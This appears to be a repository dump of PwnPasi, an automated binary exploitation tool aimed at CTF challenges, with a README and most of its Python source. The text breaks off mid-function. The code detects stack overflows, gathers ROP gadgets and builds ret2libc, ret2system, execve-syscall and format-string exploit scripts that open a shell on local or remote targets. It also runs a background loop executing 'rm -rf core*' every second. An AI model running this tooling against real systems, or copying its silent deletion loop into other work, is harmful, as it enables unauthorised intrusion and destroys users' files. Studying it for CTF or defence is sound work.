Repository: heimao-box/pwnpasi Branch: main Commit: 5a36ce9c234d Files: 10 Total size: 159.9 KB Directory structure: gitextract_20oez4rg/ ├── Challenge/ │ ├── canary │ ├── fmtstr1 │ ├── level3_x64 │ └── pie ├── LICENSE ├── README.md ├── level3_x64_wp(automatically_generating_reports).docx ├── pwnpasi.py ├── requirements.txt └── setup.py ================================================ FILE CONTENTS ================================================ ================================================ FILE: LICENSE ================================================ MIT License Copyright (c) 2025 Ba1_Ma0 Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: README.md ================================================
# 🚀 PwnPasi 3.1 **Professional Automated Binary Exploitation Framework** [![Version](https://img.shields.io/badge/version-3.0-blue.svg)](https://github.com/heimao-box/pwnpasi) [![Python](https://img.shields.io/badge/python-3.6+-green.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-MIT-red.svg)](LICENSE) [![Platform](https://img.shields.io/badge/platform-Linux%20%7C%20macOS-lightgrey.svg)](https://github.com/heimao-box/pwnpasi)
--- ## 🎯 What is PwnPasi? PwnPasi is a **cutting-edge automated binary exploitation framework** designed for CTF competitions and security research, PwnPasi transforms complex binary exploitation into an automated, streamlined process. ### ✨ Key Features 🔍 **Smart Vulnerability Detection** - Automatic stack overflow detection with dynamic padding calculation - Format string vulnerability identification and exploitation - Binary protection analysis (RELRO, Stack Canary, NX, PIE) - Assembly code analysis for vulnerable function detection - Automatically generating reports ⚡ **Advanced Exploitation Techniques** - **ret2system**: Direct system function calls - **ret2libc**: ASLR bypass through libc address leaking - **ROP Chain Construction**: Automated gadget discovery and chaining - **Syscall Exploitation**: execve system call chains - **Shellcode Injection**: RWX segment exploitation - **Stack Canary Bypass**: Format string canary leaking - **PIE Bypass**: Position Independent Executable circumvention 🏗️ **Multi-Architecture Support** - **x86 (32-bit)**: Complete 32-bit exploitation chains - **x86_64 (64-bit)**: Full 64-bit exploitation support - **Auto-detection**: Intelligent architecture recognition 🌐 **Flexible Deployment** - **Local Mode**: Direct binary file exploitation - **Remote Mode**: Network service targeting - **Hybrid Approach**: Seamless local-to-remote transition --- ## 🚀 Quick Start ### Installation ```bash # Clone the repository git clone https://github.com/heimao-box/pwnpasi.git cd pwnpasi # Run the automated setup python setup.py ``` The setup script will automatically: - Install system dependencies (Kali/Debian) - Set up Python packages (pwntools, LibcSearcher, ropper) - Configure the environment - Add pwnpasi to system PATH (optional) ### Basic Usage ```bash # Analyze local binary python pwnpasi.py -l ./target_binary # Remote exploitation python pwnpasi.py -l ./binary -ip 192.168.1.100 -p 9999 # Custom libc and padding python pwnpasi.py -l ./binary -libc ./libc-2.19.so -f 112 ``` --- ## 💡 Usage Examples ### 🎪 Local Binary Analysis ```bash # Comprehensive local analysis python pwnpasi.py -l ./vuln_binary ``` ### 🌍 Remote Service Exploitation ```bash # Target remote CTF service python pwnpasi.py -l ./local_binary -ip ctf.example.com -p 31337 ``` ### 🔧 Advanced Configuration ```bash # Specify custom libc and manual padding python pwnpasi.py -l ./binary -libc /lib/x86_64-linux-gnu/libc.so.6 -f 88 -v ``` --- ## 📋 Command Line Options | Option | Description | Example | |--------|-------------|----------| | `-l, --local` | Target binary file (required) | `-l ./vuln_app` | | `-ip, --ip` | Remote target IP address | `-ip 192.168.1.100` | | `-p, --port` | Remote target port | `-p 9999` | | `-libc, --libc` | Custom libc file path | `-libc ./libc-2.27.so` | | `-f, --fill` | Manual overflow padding size | `-f 112` | | `-v, --verbose` | Enable verbose output | `-v` | --- ## 🛠️ Technical Arsenal ### Core Dependencies - **pwntools** - The ultimate CTF framework - **LibcSearcher** - Libc database and version detection - **ropper** - Advanced ROP gadget discovery - **checksec** - Binary security feature analysis ### System Tools Integration - **objdump** - Assembly analysis and disassembly - **strings** - String extraction and analysis - **ldd** - Dynamic library dependency mapping - **gdb** - Advanced debugging capabilities --- ## 🎨 Output Preview https://github.com/user-attachments/assets/1395d646-eeeb-4342-8b93-e05eed282b92 --- ## 🏆 Why Choose PwnPasi? ### 🎯 **Precision & Automation** No more manual gadget hunting or address calculation. PwnPasi automates the entire exploitation pipeline with surgical precision. ### 🚀 **Speed & Efficiency** From vulnerability detection to shell acquisition in seconds, not hours. Perfect for time-critical CTF scenarios. ### 🧠 **Intelligence & Adaptability** Smart fallback mechanisms ensure maximum success rate across different binary configurations and protection schemes. --- ## 🤝 Contributing We welcome contributions! Whether it's: - 🐛 Bug reports and fixes - ✨ New exploitation techniques - 📚 Documentation improvements - 🔧 Performance optimizations --- ## 📜 License This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details. --- ## ⚠️ Disclaimer PwnPasi is designed for **educational purposes** and **authorized security testing** only. Users are responsible for ensuring compliance with applicable laws and regulations. The developers assume no liability for misuse of this tool. ---
**Made with ❤️ by Ba1_Ma0** *Star ⭐ this repo if PwnPasi helped you pwn some binaries!*
================================================ FILE: pwnpasi.py ================================================ #!/usr/bin/env python3 # -*- coding: utf-8 -*- from pwn import * from LibcSearcher import * import argparse import sys import os import re import subprocess import time import datetime import threading from elftools.elf.elffile import ELFFile from elftools.elf.sections import SymbolTableSection from docx import Document from docx.shared import Inches from docx.enum.text import WD_ALIGN_PARAGRAPH # Disable core dump files (Unix/Linux only) try: import resource resource.setrlimit(resource.RLIMIT_CORE, (0, 0)) except: pass # Configure pwntools to prevent core dumps context.log_level = 'error' context.terminal = ['bash', '-c'] try: # Additional core dump prevention os.system('ulimit -c 0 2>/dev/null || true') except: pass # Core file cleanup thread def cleanup_core_files(): """Background thread to continuously remove core files""" while True: try: # Remove core files in current directory os.system('rm -rf core* 2>/dev/null || del core* 2>nul || true') time.sleep(1) # Check every second except: pass # Start core cleanup thread cleanup_thread = threading.Thread(target=cleanup_core_files, daemon=True) cleanup_thread.start() # Global configuration VERSION = "3.1" AUTHOR = "Security Research Team" GITHUB = "https://github.com/heimao-box/pwnpasi" # Global variables for exploit information exploit_info = { 'target_binary': '', 'exploit_type': '', 'payload': '', 'padding': 0, 'addresses': {}, 'vulnerability_type': '', 'architecture': '', 'success': False, 'timestamp': '' } # Color schemes (similar to sqlmap) class Colors: HEADER = '\033[95m' BLUE = '\033[94m' CYAN = '\033[96m' GREEN = '\033[92m' YELLOW = '\033[93m' RED = '\033[91m' BOLD = '\033[1m' UNDERLINE = '\033[4m' END = '\033[0m' # Sqlmap-style colors INFO = '\033[1;34m' # Blue bold SUCCESS = '\033[1;32m' # Green bold WARNING = '\033[1;33m' # Yellow bold ERROR = '\033[1;31m' # Red bold CRITICAL = '\033[1;35m' # Magenta bold PAYLOAD = '\033[1;36m' # Cyan bold def print_banner(): banner = f""" {Colors.BOLD}{Colors.BLUE} ____ ____ _ | _ \ __ ___ _| _ \ __ _ ___(_) | |_) |\ \ /\ / / '_ \ |_) / _` / __| | | __/ \ V V /| | | | __/ (_| \__ \ | |_| \_/\_/ |_| |_|_| \__,_|___/_| {Colors.END} {Colors.BOLD} Automated Binary Exploitation Framework v{VERSION}{Colors.END} {Colors.CYAN} by {AUTHOR}{Colors.END} {Colors.UNDERLINE} {GITHUB}{Colors.END} """ print(banner) def print_info(message, prefix="[*]"): """Print info message with sqlmap-style formatting""" timestamp = datetime.datetime.now().strftime("%H:%M:%S") print(f"{Colors.INFO}{prefix}{Colors.END} {Colors.BOLD}[{timestamp}]{Colors.END} {message}") def print_success(message, prefix="[+]"): """Print success message""" timestamp = datetime.datetime.now().strftime("%H:%M:%S") print(f"{Colors.SUCCESS}{prefix}{Colors.END} {Colors.BOLD}[{timestamp}]{Colors.END} {message}") def print_warning(message, prefix="[!]"): """Print warning message""" timestamp = datetime.datetime.now().strftime("%H:%M:%S") print(f"{Colors.WARNING}{prefix}{Colors.END} {Colors.BOLD}[{timestamp}]{Colors.END} {message}") def print_error(message, prefix="[-]"): """Print error message""" timestamp = datetime.datetime.now().strftime("%H:%M:%S") print(f"{Colors.ERROR}{prefix}{Colors.END} {Colors.BOLD}[{timestamp}]{Colors.END} {message}") def print_critical(message, prefix="[CRITICAL]"): """Print critical message""" timestamp = datetime.datetime.now().strftime("%H:%M:%S") print(f"{Colors.CRITICAL}{prefix}{Colors.END} {Colors.BOLD}[{timestamp}]{Colors.END} {message}") def print_payload(message, prefix="[PAYLOAD]"): """Print payload information""" timestamp = datetime.datetime.now().strftime("%H:%M:%S") print(f"{Colors.PAYLOAD}{prefix}{Colors.END} {Colors.BOLD}[{timestamp}]{Colors.END} {message}") def print_section_header(title): """Print section header with decorative lines""" line = "─" * 60 print(f"\n{Colors.BOLD}{Colors.BLUE}┌{line}┐{Colors.END}") print(f"{Colors.BOLD}{Colors.BLUE}│{Colors.END} {Colors.BOLD}{title.center(58)}{Colors.END} {Colors.BOLD}{Colors.BLUE}│{Colors.END}") print(f"{Colors.BOLD}{Colors.BLUE}└{line}┘{Colors.END}") def print_progress(current, total, task_name): """Print progress bar similar to sqlmap""" percentage = int((current / total) * 100) bar_length = 30 filled_length = int(bar_length * current // total) bar = '█' * filled_length + '░' * (bar_length - filled_length) print(f"\r{Colors.INFO}[*]{Colors.END} {task_name}: {Colors.CYAN}[{bar}]{Colors.END} {percentage}%", end='', flush=True) if current == total: print_info("") # New line when complete def print_table_header(headers): """Print table header""" header_line = " | ".join([f"{h:^15}" for h in headers]) separator = "-" * len(header_line) print(f"{Colors.BOLD}{header_line}{Colors.END}") print(separator) def print_table_row(values, colors=None): """Print table row with optional colors""" if colors is None: colors = [Colors.END] * len(values) formatted_values = [] for i, (value, color) in enumerate(zip(values, colors)): formatted_values.append(f"{color}{str(value):^15}{Colors.END}") row_line = " | ".join(formatted_values) print(row_line) def update_exploit_info(key, value): """Update global exploit information""" global exploit_info exploit_info[key] = value def generate_exploitation_code(): """Generate complete exploitation code based on exploit type and information""" global exploit_info # Extract target binary name target_name = os.path.basename(exploit_info['target_binary']) if target_name.startswith('./'): target_name = target_name[2:] # Base template for exploitation code base_code = f"""#!/usr/bin/env python3 # -*- coding: utf-8 -*- # PWN Exploitation Script # Target: {exploit_info['target_binary']} # Exploit Type: {exploit_info['exploit_type']} # Architecture: {exploit_info['architecture']} # Vulnerability: {exploit_info['vulnerability_type']} from pwn import * # Target configuration target = '{target_name}' context.arch = '{exploit_info['architecture']}' context.log_level = 'debug' # Connect to target io = process(target) # For remote: io = remote('host', port) """ # Add addresses information as variables if exploit_info['addresses']: base_code += "# Key addresses\n" for addr_type, addr_value in exploit_info['addresses'].items(): if isinstance(addr_value, int): base_code += f"{addr_type} = 0x{addr_value:x}\n" elif isinstance(addr_value, str) and addr_value.startswith('0x'): base_code += f"{addr_type} = {addr_value}\n" else: try: base_code += f"{addr_type} = 0x{int(str(addr_value)):x}\n" except: base_code += f"{addr_type} = {repr(addr_value)}\n" base_code += "\n" # Add payload construction based on exploit type exploit_type = exploit_info['exploit_type'].lower() if 'ret2system' in exploit_type: if 'x64' in exploit_type: base_code += f"""# Construct payload for ret2system x64 padding = b'A' * {exploit_info['padding']} payload = padding payload += p64(pop_rdi_addr) # pop rdi; ret payload += p64(bin_sh_addr) # "/bin/sh" address payload += p64(ret_addr) # ret gadget for stack alignment payload += p64(system_addr) # system() address """ else: base_code += f"""# Construct payload for ret2system x32 padding = b'A' * {exploit_info['padding']} payload = padding payload += p32(system_addr) # system() address payload += p32(0x0) # return address (dummy) payload += p32(bin_sh_addr) # "/bin/sh" address """ elif 'ret2libc' in exploit_type and 'write' in exploit_type: if 'x64' in exploit_type: base_code += f"""# Construct payload for ret2libc write x64 padding = b'A' * {exploit_info['padding']} payload = padding payload += p64(pop_rdi_addr) # pop rdi; ret payload += p64(1) # stdout fd payload += p64(pop_rsi_addr) # pop rsi; ret payload += p64(write_got) # write@got address payload += p64(ret_addr) # ret gadget payload += p64(write_plt) # write@plt payload += p64(main_addr) # return to main for second stage """ else: base_code += f"""# Construct payload for ret2libc write x32 padding = b'A' * {exploit_info['padding']} payload = padding payload += p32(write_plt) # write@plt payload += p32(main_addr) # return to main payload += p32(1) # stdout fd payload += p32(write_got) # write@got address payload += p32(4) # bytes to write """ elif 'format string' in exploit_type: base_code += f"""# Format string exploitation offset = {exploit_info.get('offset', 'OFFSET_VALUE')} buf_addr = {exploit_info['addresses'].get('buf_addr', 'BUF_ADDRESS')} system_addr = {exploit_info['addresses'].get('system_addr', 'SYSTEM_ADDRESS')} # Construct format string payload payload = fmtstr_payload(offset, {{buf_addr: system_addr}}) """ elif 'execve syscall' in exploit_type: base_code += f"""# Construct payload for execve syscall padding = b'A' * {exploit_info['padding']} payload = padding payload += p32(pop_eax_addr) # pop eax; ret payload += p32(0xb) # execve syscall number payload += p32(pop_ebx_addr) # pop ebx; ret payload += p32(bin_sh_addr) # "/bin/sh" address payload += p32(pop_ecx_addr) # pop ecx; ret payload += p32(0x0) # argv = NULL payload += p32(pop_edx_addr) # pop edx; ret payload += p32(0x0) # envp = NULL payload += p32(int_0x80) # int 0x80 """ else: # Generic payload construction base_code += f"""# Construct payload padding = b'A' * {exploit_info['padding']} payload = padding payload += {repr(exploit_info['payload']) if isinstance(exploit_info['payload'], bytes) else repr(str(exploit_info['payload']))} """ # Add exploitation execution base_code += f""" # Send payload io.sendline(payload) # Get shell io.interactive() """ return base_code def generate_docx_report(): """Generate DOCX exploitation report""" global exploit_info if not exploit_info['success']: return try: # Extract target binary name without path and extension target_name = os.path.basename(exploit_info['target_binary']) if target_name.startswith('./'): target_name = target_name[2:] target_name = os.path.splitext(target_name)[0] # Generate report filename report_filename = f"{target_name}_wp.docx" # Create document doc = Document() # Add title title = doc.add_heading('PWN Exploitation Report', 0) title.alignment = WD_ALIGN_PARAGRAPH.CENTER # Add basic information doc.add_heading('Basic Information', level=1) basic_info = doc.add_paragraph() basic_info.add_run('Target Binary: ').bold = True basic_info.add_run(f"{exploit_info['target_binary']}\n") basic_info.add_run('Exploitation Time: ').bold = True basic_info.add_run(f"{exploit_info['timestamp']}\n") basic_info.add_run('Architecture: ').bold = True basic_info.add_run(f"{exploit_info['architecture']}\n") basic_info.add_run('Vulnerability Type: ').bold = True basic_info.add_run(f"{exploit_info['vulnerability_type']}\n") basic_info.add_run('Exploitation Method: ').bold = True basic_info.add_run(f"{exploit_info['exploit_type']}\n") # Add padding information doc.add_heading('Buffer Overflow Information', level=1) padding_info = doc.add_paragraph() padding_info.add_run('Buffer Overflow Padding: ').bold = True padding_info.add_run(f"{exploit_info['padding']} bytes\n") # Add addresses information if exploit_info['addresses']: doc.add_heading('Key Address Information', level=1) addr_table = doc.add_table(rows=1, cols=2) addr_table.style = 'Table Grid' hdr_cells = addr_table.rows[0].cells hdr_cells[0].text = 'Address Type' hdr_cells[1].text = 'Address Value' for addr_type, addr_value in exploit_info['addresses'].items(): row_cells = addr_table.add_row().cells row_cells[0].text = addr_type # Convert address to hexadecimal format if isinstance(addr_value, int): row_cells[1].text = f"0x{addr_value:x}" elif isinstance(addr_value, str) and addr_value.isdigit(): row_cells[1].text = f"0x{int(addr_value):x}" elif isinstance(addr_value, str) and addr_value.startswith('0x'): row_cells[1].text = addr_value else: # Try to convert string representation of number to hex try: if 'x' in str(addr_value): row_cells[1].text = str(addr_value) else: row_cells[1].text = f"0x{int(str(addr_value)):x}" except: row_cells[1].text = str(addr_value) # Add exploitation code information if exploit_info['payload']: doc.add_heading('Exploitation Code', level=1) payload_para = doc.add_paragraph() payload_para.add_run('Complete Python Exploitation Code:\n').bold = True # Generate complete exploitation code based on exploit type exploitation_code = generate_exploitation_code() # Add the exploitation code as code block payload_para.add_run(f"{exploitation_code}\n") # Add payload length payload_para.add_run('Payload Length: ').bold = True if isinstance(exploit_info['payload'], bytes): payload_para.add_run(f"{len(exploit_info['payload'])} bytes\n") else: payload_para.add_run(f"{len(str(exploit_info['payload']))} characters\n") # Add exploitation summary doc.add_heading('Exploitation Summary', level=1) summary_para = doc.add_paragraph() summary_para.add_run('Exploitation Status: ').bold = True summary_para.add_run('Successful\n') summary_para.add_run('Exploitation Method: ').bold = True summary_para.add_run(f"Successfully gained shell access through {exploit_info['vulnerability_type']} vulnerability using {exploit_info['exploit_type']} technique.\n") # Add footer doc.add_paragraph('\n' + '─' * 50) footer_para = doc.add_paragraph() footer_para.add_run('Report Generation Tool: ').bold = True footer_para.add_run(f"PwnPasi v{VERSION}\n") footer_para.add_run('Generation Time: ').bold = True footer_para.add_run(f"{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}") # Save document doc.save(report_filename) print_success(f"Exploitation report generated: {Colors.YELLOW}{report_filename}{Colors.END}") except Exception as e: print_error(f"Failed to generate report: {e}") def handle_exploitation_success(exploit_type, payload, padding, addresses, vulnerability_type, architecture): """Handle successful exploitation by updating info and generating report""" update_exploit_info('exploit_type', exploit_type) update_exploit_info('payload', payload.hex() if hasattr(payload, 'hex') else str(payload)) update_exploit_info('padding', padding) update_exploit_info('addresses', addresses) update_exploit_info('vulnerability_type', vulnerability_type) update_exploit_info('architecture', architecture) update_exploit_info('success', True) print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") # Generate DOCX report generate_docx_report() def set_permission(program): """Set executable permissions for the program""" try: os.system(f"chmod +755 {program}") return True except Exception as e: print_error(f"Failed to set permissions: {e}") return False def add_current_directory_prefix(program): """Add ./ prefix if not present""" if not program.startswith('./'): program = os.path.join('.', program) return program def detect_libc(program): """Detect libc path automatically""" print_info("detecting libc path automatically") libc_path = None try: os.system(f"ldd {program} | awk '{{$1=$1; print}}' > libc_path.txt") with open("libc_path.txt", "r") as file: for line in file: if 'libc.so.6' in line: parts = line.split('=>') if len(parts) > 1: libc_path = parts[1].strip().split()[0] print_success(f"libc path detected: {Colors.YELLOW}{libc_path}{Colors.END}") break if not libc_path: print_warning("libc path not found in ldd output") except Exception as e: print_error(f"failed to detect libc: {e}") return libc_path def ldd_libc(program): """Automatically detect libc path using ldd command""" libc_path = None try: # Use ldd to get library information result = subprocess.run(['ldd', program], capture_output=True, text=True) if result.returncode == 0: for line in result.stdout.split('\n'): if 'libc.so.6' in line: parts = line.split('=>') if len(parts) > 1: libc_path = parts[1].strip().split()[0] print_info(f"automatically detected libc: {Colors.YELLOW}{libc_path}{Colors.END}") break if not libc_path: print_warning("libc path not found automatically") except Exception as e: print_error(f"failed to detect libc: {e}") return libc_path def Information_Collection(program): """Collect binary information using checksec""" try: # Run checksec command result = subprocess.run(['checksec', program], capture_output=True, text=True) content = result.stdout info_dict = {} # Parse architecture arch_match = re.search(r"Arch:\s+(\S+)", content) if arch_match: arch = arch_match.group(1) if '64' in arch: info_dict['bit'] = 64 bit = 64 elif '32' in arch: info_dict['bit'] = 32 bit = 32 # Parse security features keys = ['RELRO', 'Stack', 'NX', 'PIE', 'Stripped', 'RWX'] for key in keys: if key in content: for line in content.split('\n'): if key in line and ':' in line: info_dict[key] = line.split(":")[1].strip() break # Determine stack protection stack = 0 if 'Stack' in info_dict: if info_dict['Stack'] == 'No canary found': stack = 0 elif info_dict['Stack'] == 'Canary found': stack = 1 elif info_dict['Stack'] == 'Executable': stack = 2 # Determine RWX segments rwx = 0 if 'RWX' in info_dict: if info_dict['RWX'] == 'Has RWX segments': rwx = 1 # Determine PIE pie = None if 'PIE' in info_dict: if info_dict['PIE'] == 'PIE enabled': pie = 1 # Display information for key, value in info_dict.items(): print_info(f"{key}: {Colors.YELLOW}{value}{Colors.END}") return stack, rwx, bit, pie except Exception as e: print_error(f"failed to collect binary information: {e}") return 0, 0, 32, None def collect_binary_info(program): """Collect comprehensive binary information""" print_info("collecting binary information") try: os.system(f"checksec {program} > Information_Collection.txt 2>&1") with open("Information_Collection.txt", 'r') as f: content = f.readlines() result = {} # Parse architecture arch_match = re.search(r"Arch:\s+(\S+)", "".join(content)) if arch_match: arch = arch_match.group(1) result['arch'] = arch if '64' in arch: result['bit'] = 64 elif '32' in arch: result['bit'] = 32 # Parse security features security_features = ['RELRO', 'Stack', 'NX', 'PIE', 'Stripped', 'RWX'] for feature in security_features: for line in content: if feature in line: result[feature] = line.split(":")[1].strip() break # Process stack canary stack_protection = 0 if 'Stack' in result: if result['Stack'] == 'No canary found': stack_protection = 0 elif result['Stack'] == 'Canary found': stack_protection = 1 # Process RWX segments rwx_segments = 0 if 'RWX' in result: if result['RWX'] == 'Has RWX segments': rwx_segments = 1 # Process PIE pie_enabled = 0 if 'PIE' in result: if result['PIE'] == 'PIE enabled': pie_enabled = 1 return result, stack_protection, rwx_segments, result.get('bit', 64), pie_enabled except Exception as e: print_error(f"failed to collect binary information: {e}") return {}, 0, 0, 64, 0 def display_binary_info(info_dict): """Display binary information in a professional table format""" print_section_header("BINARY SECURITY ANALYSIS") # Create table for security features headers = ["Feature", "Status", "Risk Level"] print_table_header(headers) risk_colors = { "HIGH": Colors.ERROR, "MEDIUM": Colors.WARNING, "LOW": Colors.SUCCESS, "INFO": Colors.INFO } security_analysis = { "RELRO": ("MEDIUM" if "Partial" in info_dict.get("RELRO", "") else "LOW", info_dict.get("RELRO", "Unknown")), "Stack Canary": ("HIGH" if "No canary" in info_dict.get("Stack", "") else "LOW", info_dict.get("Stack", "Unknown")), "NX Bit": ("HIGH" if "disabled" in info_dict.get("NX", "") else "LOW", info_dict.get("NX", "Unknown")), "PIE": ("MEDIUM" if "No PIE" in info_dict.get("PIE", "") else "LOW", info_dict.get("PIE", "Unknown")), "RWX Segments": ("HIGH" if "Has RWX" in info_dict.get("RWX", "") else "LOW", info_dict.get("RWX", "Unknown")) } for feature, (risk, status) in security_analysis.items(): colors = [Colors.END, Colors.END, risk_colors.get(risk, Colors.END)] print_table_row([feature, status, risk], colors) print() def find_large_bss_symbols(program): """Find large BSS symbols suitable for shellcode storage""" print_info("searching for shellcode storage locations") try: with open(program, 'rb') as f: elf = ELFFile(f) symtab = elf.get_section_by_name('.symtab') if not symtab: print_warning("no symbol table found") return 0, None, None for symbol in symtab.iter_symbols(): if (symbol['st_info'].type == 'STT_OBJECT' and symbol['st_size'] > 30): print_success(f"shellcode storage found: {Colors.YELLOW}{symbol.name}{Colors.END} at {Colors.YELLOW}{hex(symbol['st_value'])}{Colors.END}") return 1, hex(symbol['st_value']), symbol.name print_warning("no suitable shellcode storage locations found") return 0, None, None except Exception as e: print_error(f"failed to analyze symbols: {e}") return 0, None, None def scan_plt_functions(program): """Scan and analyze PLT functions""" print_info("analyzing PLT table and available functions") try: os.system(f"objdump -d {program} > Objdump_Scan.txt 2>&1") target_functions = ["write", "puts", "printf", "main", "system", "backdoor", "callsystem"] function_addresses = {} found_functions = [] with open("Objdump_Scan.txt", "r") as file: lines = file.readlines() print_section_header("FUNCTION ANALYSIS") headers = ["Function", "Address", "Available"] print_table_header(headers) for func in target_functions: found = False address = "N/A" for line in lines: if f"<{func}@plt>:" in line or f"<{func}>:" in line: address = line.split()[0].strip(":") function_addresses[func] = address found_functions.append(func) found = True break status = "YES" if found else "NO" color = Colors.SUCCESS if found else Colors.ERROR colors = [Colors.END, Colors.YELLOW if found else Colors.END, color] print_table_row([func, address, status], colors) print_info("") return function_addresses except Exception as e: print_error(f"failed to scan PLT functions: {e}") return {} def set_function_flags(function_addresses): """Set function availability flags""" target_functions = ["write", "puts", "printf", "main", "system", "backdoor", "callsystem"] function_flags = {func: (1 if func in function_addresses else 0) for func in target_functions} return function_flags def find_rop_gadgets_x64(program): """Find ROP gadgets for x64 architecture""" print_info("searching for ROP gadgets (x64)") gadgets = { 'pop_rdi': None, 'pop_rsi': None, 'ret': None, 'other_rdi_registers': None, 'other_rsi_registers': None } try: # Search for pop rdi gadgets os.system(f"ropper --file {program} --search 'pop rdi' > ropper.txt --nocolor 2>&1") os.system(f"ropper --file {program} --search 'pop rsi' >> ropper.txt --nocolor 2>&1") os.system(f"ropper --file {program} --search 'ret' >> ropper.txt --nocolor 2>&1") with open("ropper.txt", "r") as file: lines = file.readlines() print_section_header("ROP GADGETS (x64)") headers = ["Gadget Type", "Address", "Instruction"] print_table_header(headers) for line in lines: if '[INFO]' in line: continue if "pop rdi;" in line and "pop rdi; pop" in line: gadgets['pop_rdi'] = line.split(":")[0].strip() gadgets['other_rdi_registers'] = 1 print_table_row(["pop rdi (multi)", gadgets['pop_rdi'], "pop rdi; pop ...; ret"], [Colors.END, Colors.YELLOW, Colors.END]) elif "pop rdi; ret;" in line: gadgets['pop_rdi'] = line.split(":")[0].strip() gadgets['other_rdi_registers'] = 0 print_table_row(["pop rdi", gadgets['pop_rdi'], "pop rdi; ret"], [Colors.END, Colors.YELLOW, Colors.END]) elif "pop rsi;" in line and "pop rsi; pop" in line: gadgets['pop_rsi'] = line.split(":")[0].strip() gadgets['other_rsi_registers'] = 1 print_table_row(["pop rsi (multi)", gadgets['pop_rsi'], "pop rsi; pop ...; ret"], [Colors.END, Colors.YELLOW, Colors.END]) elif "pop rsi; ret;" in line: gadgets['pop_rsi'] = line.split(":")[0].strip() gadgets['other_rsi_registers'] = 0 print_table_row(["pop rsi", gadgets['pop_rsi'], "pop rsi; ret"], [Colors.END, Colors.YELLOW, Colors.END]) elif "ret" in line and "ret " not in line: gadgets['ret'] = line.split(":")[0].strip() print_table_row(["ret", gadgets['ret'], "ret"], [Colors.END, Colors.YELLOW, Colors.END]) print_info("") return gadgets['pop_rdi'], gadgets['pop_rsi'], gadgets['ret'], gadgets['other_rdi_registers'], gadgets['other_rsi_registers'] except Exception as e: print_error(f"failed to find ROP gadgets: {e}") return None, None, None, None, None def find_rop_gadgets_x32(program): """Find ROP gadgets for x32 architecture""" print_info("searching for ROP gadgets (x32)") gadgets = { 'pop_eax': None, 'pop_ebx': None, 'pop_ecx': None, 'pop_edx': None, 'pop_ecx_ebx': None, 'ret': None, 'int_0x80': None } registers_found = {'eax': 0, 'ebx': 0, 'ecx': 0, 'edx': 0} try: print_section_header("ROP GADGETS (x32)") headers = ["Gadget Type", "Address", "Status"] print_table_header(headers) # Search for each register gadget register_searches = ['eax', 'ebx', 'ecx', 'edx'] for reg in register_searches: os.system(f"ropper --file {program} --search 'pop {reg};' > ropper.txt --nocolor 2>&1") with open("ropper.txt", "r") as file: lines = file.readlines() for line in lines: if '[INFO]' in line: continue if f"pop {reg}; ret;" in line: address = line.split(":")[0].strip() gadgets[f'pop_{reg}'] = address registers_found[reg] = 1 print_table_row([f"pop {reg}", address, "FOUND"], [Colors.END, Colors.YELLOW, Colors.SUCCESS]) break elif f"pop {reg}" in line and 'pop ebx' in line and reg == 'ecx': address = line.split(":")[0].strip() gadgets['pop_ecx_ebx'] = address registers_found[reg] = 1 print_table_row(["pop ecx; pop ebx", address, "FOUND"], [Colors.END, Colors.YELLOW, Colors.SUCCESS]) break if registers_found[reg] == 0: print_table_row([f"pop {reg}", "N/A", "NOT FOUND"], [Colors.END, Colors.END, Colors.ERROR]) # Search for ret and int 0x80 os.system(f"ropper --file {program} --search 'ret;' > ropper.txt --nocolor 2>&1") with open("ropper.txt", "r") as file: for line in file.readlines(): if '[INFO]' in line: continue if "ret" in line and "ret " not in line: gadgets['ret'] = line.split(":")[0].strip() print_table_row(["ret", gadgets['ret'], "FOUND"], [Colors.END, Colors.YELLOW, Colors.SUCCESS]) break os.system(f"ropper --file {program} --search 'int 0x80;' > ropper.txt --nocolor 2>&1") with open("ropper.txt", "r") as file: for line in file.readlines(): if '[INFO]' in line: continue if "int 0x80" in line: gadgets['int_0x80'] = line.split(":")[0].strip() print_table_row(["int 0x80", gadgets['int_0x80'], "FOUND"], [Colors.END, Colors.YELLOW, Colors.SUCCESS]) break print_info("") return (gadgets['pop_eax'], gadgets['pop_ebx'], gadgets['pop_ecx'], gadgets['pop_edx'], gadgets['pop_ecx_ebx'], gadgets['ret'], gadgets['int_0x80'], registers_found['eax'], registers_found['ebx'], registers_found['ecx'], registers_found['edx']) except Exception as e: print_error(f"failed to find ROP gadgets: {e}") return None, None, None, None, None, None, None, 0, 0, 0, 0 def test_stack_overflow(program, bit): """Test for stack overflow vulnerability with progress indication""" print_info("testing for stack overflow vulnerability") char = 'A' padding = 0 max_test = 10000 print_section_header("STACK OVERFLOW DETECTION") while padding < max_test: # Update progress every 100 iterations if padding % 100 == 0: print_progress(padding, max_test, "Testing overflow") input_data = char * (padding + 1) try: process = subprocess.Popen([program], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = process.communicate(input=input_data.encode(), timeout=1) if process.returncode == -11: # SIGSEGV alignment = 8 if bit == 64 else 4 final_padding = padding + alignment print_progress(max_test, max_test, "Testing overflow") print_success(f"stack overflow detected! Padding: {Colors.YELLOW}{final_padding}{Colors.END} bytes") return final_padding except subprocess.TimeoutExpired: process.kill() except Exception: pass padding += 1 print_progress(max_test, max_test, "Testing overflow") print_warning("no stack overflow vulnerability detected") return 0 def analyze_vulnerable_functions(program, bit): """Analyze assembly code to find vulnerable functions""" print_info("analyzing vulnerable functions") try: with open("Objdump_Scan.txt", 'r') as f: content = f.read() func_pattern = r'^[0-9a-f]+ 